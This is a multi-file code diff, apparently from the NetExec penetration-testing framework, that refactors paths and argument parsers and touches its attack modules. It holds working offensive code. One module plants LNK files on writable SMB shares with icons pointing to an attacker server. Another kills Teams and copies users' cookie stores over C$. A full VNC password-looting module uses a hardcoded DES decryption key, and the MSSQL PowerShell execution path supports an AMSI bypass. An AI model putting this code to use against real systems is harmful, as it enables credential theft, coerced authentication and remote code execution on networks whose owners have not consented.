self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
+1 -2
View File
@@ -4,7 +4,6 @@ from datetime import datetime
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -256,7 +255,7 @@ class TSCH_EXEC:
if fileless:
while True:
try:
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
self.output_callback(output.read())
break
except OSError:
+11 -16
View File
@@ -1,7 +1,7 @@
import pylnk3
import ntpath
from sys import exit
from nxc.paths import TMP_PATH
class NXCModule:
"""
@@ -18,12 +18,11 @@ class NXCModule:
def __init__(self):
self.server = None
self.remote_file_path = None
self.local_lnk_path = None
self.file_path = None
self.lnk_path = None
self.lnk_name = None
self.ico_uri = None
self.shares = None
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.cleanup = None
def options(self, context, module_options):
@@ -32,7 +31,6 @@ class NXCModule:
NAME LNK file name written to the share(s)
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleanup (choices: True or False)
"""
self.cleanup = False
@@ -48,10 +46,6 @@ class NXCModule:
if "SHARES" in module_options:
self.shares = module_options["SHARES"].split(",")
context.log.debug(f"Shares to write to: {self.shares}")
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
if not self.cleanup and "SERVER" not in module_options:
context.log.fail("SERVER option is required!")
@@ -63,12 +57,12 @@ class NXCModule:
self.lnk_name = module_options["NAME"]
self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
if not self.cleanup:
self.server = module_options["SERVER"]
link = pylnk3.create(self.local_lnk_path)
link = pylnk3.create(self.lnk_path)
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
link.save()
@@ -79,22 +73,23 @@ class NXCModule:
context.log.add_file_log(slinky_logger)
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
# TODO: these can be written to - add an option to override these
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
if self.shares is not None and share["name"] not in self.shares:
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
continue
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.local_lnk_path, "rb") as lnk:
with open(self.lnk_path, "rb") as lnk:
try:
connection.conn.putFile(share["name"], self.remote_file_path, lnk.read)
connection.conn.putFile(share["name"], self.file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.remote_file_path)
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
+14 -16
View File
@@ -1,10 +1,8 @@
import json
import errno
from os.path import abspath, join, split, exists, splitext, getsize, sep
from os import makedirs, remove, stat
import os
import time
import traceback
from nxc.paths import TMP_PATH
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
from impacket.smbconnection import SessionError
@@ -38,7 +36,7 @@ def human_time(timestamp):
def make_dirs(path):
"""Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist."""
try:
makedirs(path)
os.makedirs(path)
except OSError as e:
if e.errno != errno.EEXIST:
raise
@@ -172,13 +170,13 @@ class SMBSpiderPlus:
The folder path and filename are then obtained separately.
"""
# Remove the backslash before the remote host part and replace slashes with the appropriate path separator
remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)
remote_file_path = str(remote_file)[2:].replace("/", os.path.sep).replace("\\", os.path.sep)
# Split the path to obtain the folder path and the filename
folder, filename = split(remote_file_path)
folder, filename = os.path.split(remote_file_path)
# Join the output folder with the folder path to get the final local folder path
folder = join(self.output_folder, folder)
folder = os.path.join(self.output_folder, folder)
return folder, filename
@@ -285,7 +283,7 @@ class SMBSpiderPlus:
return
# Check file extension filter.
_, file_extension = splitext(file_path)
_, file_extension = os.path.splitext(file_path)
if file_extension:
self.stats["file_exts"].add(file_extension.lower())
if file_extension.lower() in self.exclude_exts:
@@ -308,10 +306,10 @@ class SMBSpiderPlus:
# Check if the file is already downloaded and up-to-date.
file_dir, file_name = self.get_file_save_path(remote_file)
download_path = join(file_dir, file_name)
download_path = os.path.join(file_dir, file_name)
needs_update_flag = False
if exists(download_path):
if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size:
if os.path.exists(download_path):
if file_modified_time <= os.stat(download_path).st_mtime and os.path.getsize(download_path) == file_size:
self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".')
self.stats["num_files_unmodified"] += 1
return
@@ -350,7 +348,7 @@ class SMBSpiderPlus:
remote_file.seek(0, 0)
folder, filename = self.get_file_save_path(remote_file)
download_path = join(folder, filename)
download_path = os.path.join(folder, filename)
# Create the subdirectories based on the share name and file path.
self.logger.debug(f"Creating folder '{folder}'")
@@ -367,8 +365,8 @@ class SMBSpiderPlus:
self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}')
# Check if the file is empty and should not be.
if getsize(download_path) == 0 and remote_file.get_filesize() > 0:
remove(download_path)
if os.path.getsize(download_path) == 0 and remote_file.get_filesize() > 0:
os.remove(download_path)
remote_path = str(remote_file)[2:]
self.logger.fail(f'Unable to download file "{remote_path}".')
@@ -377,7 +375,7 @@ class SMBSpiderPlus:
The results are formatted with indentation and sorted keys before being written to the file.
"""
metadata_path = join(self.output_folder, f"{self.host}.json")
metadata_path = os.path.join(self.output_folder, f"{self.host}.json")
try:
with open(metadata_path, "w", encoding="utf-8") as fd:
fd.write(json.dumps(results, indent=4, sort_keys=True))
@@ -500,7 +498,7 @@ class NXCModule:
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "nxc_spider_plus"))
def on_login(self, context, connection):
context.log.display("Started module spidering_plus with the following options:")
+2 -4
View File
@@ -1,6 +1,4 @@
import sqlite3
from nxc.paths import TMP_PATH
from os.path import abspath, join
class NXCModule:
@@ -18,7 +16,7 @@ class NXCModule:
connection.execute("taskkill /F /T /IM teams.exe")
found = 0
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
with open("/tmp/teams_cookies2.txt", "wb") as f:
for path in paths:
try:
connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
@@ -39,7 +37,7 @@ class NXCModule:
@staticmethod
def parse_file(context, name):
try:
conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt")))
conn = sqlite3.connect("/tmp/teams_cookies2.txt")
c = conn.cursor()
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
row = c.fetchone()
-285
View File
@@ -1,285 +0,0 @@
import ntpath
import tempfile
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from impacket.dcerpc.v5 import rrp
from impacket import winregistry
from impacket.examples.secretsdump import RemoteOperations
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from Cryptodome.Cipher import DES
from binascii import unhexlify
import codecs
import re
class NXCModule:
"""
Loot VNC Passwords
Module by @_zblurx
"""
name = "vnc"
description = "Loot Passwords from VNC server and client configurations"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.vnc_decryption_key = b"\xe8\x4a\xd6\x60\xc4\x72\x1a\xe0"
self.false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
def options(self, context, module_options):
"""NO_REMOTEOPS Do not use RemoteRegistry. Will not dump RealVNC, ThighVNC and TigerVNC passwords. Default is False"""
self.no_remoteops = False
if "NO_REMOTEOPS" in module_options and "True" in module_options["NO_REMOTEOPS"]:
self.no_remoteops = True
def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = self.connection.args.share
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
if not self.no_remoteops:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
self.vnc_from_registry(remote_ops)
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
self.vnc_from_filesystem(dploot_conn)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def reg_query_value(self, remote_ops, path, key, hku=False):
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
path,
)
key_handle = ans["phkResult"]
data = None
try:
_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
key,
)
return data
except rrp.DCERPCSessionError as e:
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
vnc_client_softwares = [
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
]
users = self.get_users(remote_ops)
for user, sid in users.items():
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
try:
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
except Exception as e:
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
cred = {}
if ntuser_dat_bytes is None and remote_ops is not None:
user_registry_path = ntpath.join(sid, registry_path)
try:
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
continue
else:
fh = tempfile.NamedTemporaryFile()
fh.write(ntuser_dat_bytes)
fh.seek(0)
reg = winregistry.Registry(fh.name, isRemote=False)
parent_key = reg.findKey(registry_path)
if parent_key is None:
continue
cred["user"] = reg.getValue(ntpath.join(registry_path, registry_keys[0]))[1].decode("latin-1")
password = reg.getValue(ntpath.join(registry_path, registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
def vnc_from_registry(self, remote_ops):
vncs = (
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
("RealVNC 4.x", "SOFTWARE\\RealVNC\\WinVNC4", "Password"),
("TightVNC", "Software\\TightVNC\\Server", "Password"),
("TightVNC ControlPassword", "Software\\TightVNC\\Server", "ControlPassword"),
("TightVNC", "Software\\TightVNC\\Server", "PasswordViewOnly"),
)
for vnc_name, path, key in vncs:
try:
value = self.reg_query_value(remote_ops, path, key)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
continue
if value is None:
continue
value = value.rstrip(b"\x00")
password = self.recover_vncpassword(value)
if password is None:
continue
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
vnc_users = (
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
)
for vnc_name, path, user, password, server in vnc_users:
cred = {}
try:
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
value = unhexlify(value)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
if value is None:
continue
cred["password"] = self.recover_vncpassword(value).decode()
try:
cred["server"] = self.reg_query_value(remote_ops, path, server)
cred["user"] = self.reg_query_value(remote_ops, path, user)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
def split_len(self, seq, length):
return [seq[i:i + length] for i in range(0, len(seq), length)]
def recover_vncpassword(self, cipher: bytes):
encpasswd = cipher.hex()
pwd = None
if encpasswd:
# If the hex encoded passwd length is longer than 16 hex chars and divisible
# by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
# (1 hex char = 4 binary bits = 1 nibble)
hexpasswd = bytes.fromhex(encpasswd)
if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
splitstr = self.split_len(codecs.encode(cipher, "hex"), 16)
cryptedblocks = []
for sblock in splitstr:
cryptedblocks.append(self.decrypt_password(codecs.decode(sblock, "hex")))
pwd = b"".join(cryptedblocks)
elif len(hexpasswd) <= 16:
pwd = self.decrypt_password(cipher)
else:
pwd = self.decrypt_password(cipher)
return pwd
def decrypt_password(self, password: bytes):
length = len(password)
try:
if length <= 16:
password += b"\x00" * (16 - length)
cipher = DES.new(key=self.vnc_decryption_key, mode=DES.MODE_ECB)
return cipher.decrypt(password)[:length]
except Exception as ex:
self.context.log.debug(f"Error while decrypting VNC password {password}: {ex}")
def vnc_from_filesystem(self, dploot_conn):
vncs = (
("UltraVNC", "Program Files (x86)\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
("UltraVNC", "Program Files\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
("UltraVNC", "Program Files\\UltraVNC\\ultravnc.ini"),
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
)
for vnc_name, file in vncs:
file_content = dploot_conn.readFile(self.share, file)
if file_content is not None:
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
for regex in regex_passwd:
passwds_encrypted = re.findall(regex, file_content)
for passwd_encrypted in passwds_encrypted:
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
def get_users(self, conn):
users = {}
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
sids = []
i = 0
while True:
try:
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
sids.append(ans2["lpNameOut"])
except rrp.DCERPCSessionError as e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except Exception as e:
self.context.debug(f"Error while listing users from HKU: {e}")
i += 1
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
for sid in sids:
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
if r"%systemroot%" in profile_path:
continue
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
return users
+33 -15
View File
@@ -28,6 +28,17 @@ REG_VALUE_TYPE_32BIT_BE = 5
REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE = 7
REG_VALUE_TYPE_64BIT_LE = 11
# Setup file logger
if "wcc_logger" not in globals():
wcc_logger = logging.getLogger("WCC")
wcc_logger.propagate = False
log_filename = nxc_logger.init_log_file()
log_filename = log_filename.replace("log_", "wcc_")
wcc_logger.setLevel(logging.INFO)
wcc_file_handler = logging.FileHandler(log_filename)
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
wcc_logger.addHandler(wcc_file_handler)
class ConfigCheck:
"""Class for performing the checks and holding the results"""
@@ -64,7 +75,7 @@ class ConfigCheck:
def log(self, context):
result = "passed" if self.ok else "did not pass"
reasons = ", ".join(self.reasons)
self.module.wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
if self.module.quiet:
return
@@ -88,19 +99,6 @@ class NXCModule:
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.wcc_logger = logging.getLogger("WCC")
self.wcc_logger.propagate = False
log_filename = nxc_logger.init_log_file()
log_filename = log_filename.replace("log_", "wcc_")
self.wcc_logger.setLevel(logging.INFO)
wcc_file_handler = logging.FileHandler(log_filename)
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
self.wcc_logger.addHandler(wcc_file_handler)
def options(self, context, module_options):
"""
@@ -158,9 +156,15 @@ class HostChecker:
self.dce = remoteOps._RemoteOperations__rrp
def run(self):
# Prepare checks
self.init_checks()
# Perform checks
self.check_config()
# Check methods #
#################
def init_checks(self):
# Declare the checks to do and how to do them
self.checks = [
@@ -479,6 +483,9 @@ class HostChecker:
return success, reasons
# Methods for getting values from the remote registry #
#######################################################
def _open_root_key(self, dce, connection, root_key):
ans = None
retries = 1
@@ -588,6 +595,9 @@ class HostChecker:
return data
return DCERPCSessionError(error_code=ERROR_OBJECT_NOT_FOUND)
# Methods for getting values from SAMR and SCM #
################################################
def get_service(self, service_name, connection):
"""Get the service status and configuration for specified service"""
remoteOps = RemoteOperations(smbConnection=connection.conn, doKerberos=False)
@@ -635,15 +645,23 @@ class HostChecker:
self.context.log.error(f"ls(): C:\\{path} {e}\n")
return file_listing
# Comparison operators #
########################
def le(reg_sz_string, number):
return int(reg_sz_string[:-1]) <= number
def in_(obj, seq):
return obj in seq
def startswith(string, start):
return string.startswith(start)
def not_(boolean_operator):
def wrapper(*args, **kwargs):
return not boolean_operator(*args, **kwargs)
+1 -1
View File
@@ -51,7 +51,7 @@ class NXCModule:
masterkeys = []
try:
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={})
masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
-2
View File
@@ -23,8 +23,6 @@ from os.path import join as path_join
from sys import exit
from rich.progress import Progress
import platform
if sys.stdout.encoding == "cp1252":
sys.stdout.reconfigure(encoding="utf-8")
# Increase file_limit to prevent error "Too many open files"
if platform.system() != "Windows":
-5
View File
@@ -512,11 +512,6 @@ class NXCDBMenu(cmd.Cmd):
def do_exit(line):
sys.exit()
@staticmethod
def do_EOF(line):
sys.exit()
@staticmethod
def help_exit():
help_string = """
+2 -3
View File
@@ -3,12 +3,11 @@ import sys
import nxc
NXC_PATH = os.path.expanduser("~/.nxc")
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
if os.name == "nt":
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted"
elif hasattr(sys, "getandroidapilevel"):
if hasattr(sys, "getandroidapilevel"):
TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")
else:
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
CERT_PATH = os.path.join(NXC_PATH, "nxc.pem")
CONFIG_PATH = os.path.join(NXC_PATH, "nxc.conf")
+7 -10
View File
@@ -1,12 +1,9 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, std_parser, module_parser):
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=[std_parser, module_parser])
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)")
def proto_args(parser, parents):
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=parents, formatter_class=DisplayDefaultsNotNone)
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port")
cgroup = ftp_parser.add_argument_group("File Operations", "Options for enumerating and interacting with files on the target")
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory")
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
cgroup = ftp_parser.add_argument_group("FTP Access", "Options for enumerating your access")
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory, ex: --ls or --ls Directory")
cgroup.add_argument("--get", metavar="FILE", help="Download a file, ex: --get fileName.txt")
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file, ex: --put inputFileName.txt outputFileName.txt")
return parser
+4 -35
View File
@@ -28,7 +28,6 @@ from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
from impacket.krb5.types import Principal, KerberosException
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPFilterSyntaxError
from impacket.smb import SMB_DIALECT
from impacket.smbconnection import SMBConnection, SessionError
@@ -752,7 +751,7 @@ class ldap(connection):
users = parse_result_attributes(resp)
# we print the total records after we parse the results since often SearchResultReferences are returned
self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}")
self.logger.display(f"Total records returned: {len(users):d}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
@@ -1055,36 +1054,6 @@ class ldap(connection):
self.logger.highlight("No entries found!")
self.logger.fail("Error with the LDAP account used")
def query(self):
"""
Query the LDAP server with the specified filter and attributes.
Example usage:
--query "(sAMAccountName=Administrator)" "sAMAccountName pwdLastSet memberOf"
"""
search_filter = self.args.query[0]
attributes = [attr.strip() for attr in self.args.query[1].split(" ")]
if len(attributes) == 1 and attributes[0] == "":
attributes = None
if not search_filter:
self.logger.fail("No filter specified")
return
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
try:
resp = self.search(search_filter, attributes, 0)
except LDAPFilterSyntaxError as e:
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
return
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
self.logger.success(f"Response for object: {item['objectName']}")
for attribute in item["attributes"]:
attr = f"{attribute['type']}:"
vals = str(attribute["vals"]).replace("\n", "")
if "SetOf: " in vals:
vals = vals.replace("SetOf: ", "")
self.logger.highlight(f"{attr:<20} {vals}")
def trusted_for_delegation(self):
# Building the search filter
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
@@ -1402,9 +1371,9 @@ class ldap(connection):
ad = AD(
auth=auth,
domain=self.domain,
nameserver=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout,
nameserver=self.args.nameserver,
dns_tcp=False,
dns_timeout=3,
)
collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
if not collect:
+6 -9
View File
@@ -1,10 +1,7 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port")
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
dgroup = ldap_parser.add_mutually_exclusive_group()
@@ -16,7 +13,6 @@ def proto_args(parser, parents):
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes")
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
@@ -33,6 +29,7 @@ def proto_args(parser, parents):
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
bgroup.add_argument("-c", "--collection", default="Collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
return parser
return parser
+28 -42
View File
@@ -2,7 +2,6 @@ import os
import random
import socket
import contextlib
from io import StringIO
from nxc.config import process_secret
from nxc.connection import connection
@@ -301,55 +300,42 @@ class mssql(connection):
@requires_admin
def execute(self, payload=None, get_output=False):
payload = self.args.execute if not payload and self.args.execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
get_output = True if not self.args.no_output else get_output
self.logger.debug(f"{get_output=}")
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output:
get_output = True
self.logger.info(f"Command to execute: {payload}")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
output = exec_method.execute(payload)
self.logger.debug(f"Output: {output}")
raw_output = exec_method.execute(payload, get_output)
except Exception as e:
self.logger.fail(f"Execute command failed, error: {e!s}")
return False
else:
self.logger.success("Executed command via mssqlexec")
if output:
output_lines = StringIO(output).readlines()
for line in output_lines:
self.logger.highlight(line.strip())
return output
self.logger.success("Executed command via mssqlexec")
if raw_output:
for line in raw_output:
self.logger.highlight(line)
return raw_output
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
response = []
obfs = obfs if obfs else self.args.obfs
encode = encode if encode else not self.args.no_encode
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
get_output = True if not self.args.no_output else get_output
self.logger.debug(f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
if os.path.isfile(payload):
self.logger.debug(f"File payload set: {payload}")
with open(payload) as commands:
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands]
else:
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)]
